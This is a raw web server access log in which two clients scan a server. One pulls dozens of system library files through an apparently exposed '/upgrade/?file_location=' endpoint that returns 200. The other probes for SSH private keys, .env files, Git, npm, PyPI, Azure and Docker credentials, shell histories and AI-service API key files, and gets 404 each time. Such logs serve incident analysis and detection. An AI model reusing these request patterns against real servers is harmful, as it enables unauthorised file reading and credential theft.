45.135.193.11 - - [11/Sep/2026:22:58:15 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibldap.so.2.0.200&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 286854 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibldap.so.2.0.200&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:15 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibopenjp2.so.7&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 263495 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibopenjp2.so.7&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:15 -0400] "GET /.bashrc HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:15 -0400] "GET /.s3cfg HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:15 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Fliburcu-qsbr.so.6.1.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 118606 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Fliburcu-qsbr.so.6.1.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:15 -0400] "GET /.bash_profile HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:16 -0400] "GET /.zshrc HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:16 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibaps.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 1885179 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibaps.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:16 -0400] "GET /.bash_history HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:16 -0400] "GET /.zsh_history HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:16 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibdcerpc.so.0.0.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 187157 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibdcerpc.so.0.0.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:17 -0400] "GET /.profile HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:17 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibmnl.so.0.2.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 113756 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibmnl.so.0.2.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:17 -0400] "GET /.npmrc HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:17 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibmodulemd.so.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 346276 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibmodulemd.so.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:17 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibvolume_key.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 144090 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibvolume_key.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:18 -0400] "GET /.pypirc HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:18 -0400] "GET /app/.env HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:18 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibIlmThread-3_1.so.30&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 115721 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibIlmThread-3_1.so.30&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:18 -0400] "GET /srv/.env HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:18 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgraphite2.so.3.2.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 168345 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgraphite2.so.3.2.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:18 -0400] "GET /.netrc HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:19 -0400] "GET /opt/.env HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:19 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibfftw3f_threads.so.3.5.8&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 116636 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibfftw3f_threads.so.3.5.8&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:19 -0400] "GET /.kimi/kimi-code.json HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:19 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpq.so.5.13&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 248675 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpq.so.5.13&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:20 -0400] "GET /.deepseek/config.json HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:20 -0400] "GET /.kimi/credentials/kimi-code.json HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:20 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsamba-util.so.0.0.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 284827 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsamba-util.so.0.0.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:20 -0400] "GET /.moonshot/settings.json HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:20 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsoftokn3.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 282555 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsoftokn3.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:20 -0400] "GET /.dashscope/api_key HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:21 -0400] "GET /.git-credentials HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:21 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibcpupower.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 115185 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibcpupower.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:21 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibexif.so.12.3.4&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 194373 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibexif.so.12.3.4&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:21 -0400] "GET /.ssh/id_ed25519 HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:21 -0400] "GET /.ssh/id_rsa HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:21 -0400] "GET /.ssh/id_ecdsa HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:21 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibform.so.6&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 135364 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibform.so.6&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:22 -0400] "GET /.ssh/id_dsa HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:22 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgsf-1.so.114.0.47&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 228926 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgsf-1.so.114.0.47&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:22 -0400] "GET /.ssh/known_hosts HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:22 -0400] "GET /.ssh/config HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:22 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgvc.so.6&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 387636 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgvc.so.6&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:23 -0400] "GET /.ssh/authorized_keys HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:23 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibprotoc.so.25&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 1217643 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibprotoc.so.25&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:23 -0400] "GET /.docker/config.json HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:23 -0400] "GET /docker-compose.yml HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:23 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Fliburing-ffi.so.2.12&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 125491 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Fliburing-ffi.so.2.12&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:24 -0400] "GET /docker-compose.yaml HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:24 -0400] "GET /.azure/credentials HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:24 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibwebpdemux.so.2.0.7&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 112434 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibwebpdemux.so.2.0.7&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:24 -0400] "GET /.azure/accessTokens.json HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:24 -0400] "GET /.azure/azureProfile.json HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:24 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2F.libnettle.so.8.10.hmac&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 103977 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2F.libnettle.so.8.10.hmac&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:24 -0400] "GET /.azure/clouds.config HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:25 -0400] "GET /.azure/config HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:25 -0400] "GET /.azure/msal_token_cache.json HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:25 -0400] "GET /.azure/servicePrincipal.json HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:25 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnpth.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 111324 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnpth.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:25 -0400] "GET /db.sqlite3 HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:25 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibvorbis.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 197309 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibvorbis.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:25 -0400] "GET /app.db HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:26 -0400] "GET /database.db HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:26 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-damage.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 107710 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-damage.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:26 -0400] "GET /data.db HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:26 -0400] "GET /prisma/dev.db HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:26 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibXtst.so.6.1.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 115314 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibXtst.so.6.1.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:26 -0400] "GET /storage/database.sqlite HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:27 -0400] "GET /instance/app.sqlite HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:27 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibfastjson.so.4&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 125391 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibfastjson.so.4&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:27 -0400] "GET /.vscode/User/globalStorage/state.vscdb HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:27 -0400] "GET /.cursor/User/globalStorage/state.vscdb HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:27 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibfreebl3.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 108193 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibfreebl3.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:27 -0400] "GET /root/.bash_history HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:28 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgstcontroller-1.0.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 134020 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgstcontroller-1.0.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:28 -0400] "GET /root/.zsh_history HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:28 -0400] "GET /root/.profile HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:28 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibncurses++w.so.6&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 103232 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibncurses++w.so.6&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:28 -0400] "GET /root/.bashrc HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:28 -0400] "GET /root/.zshrc HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:28 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibns-9.16.23-RH.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 236966 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibns-9.16.23-RH.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
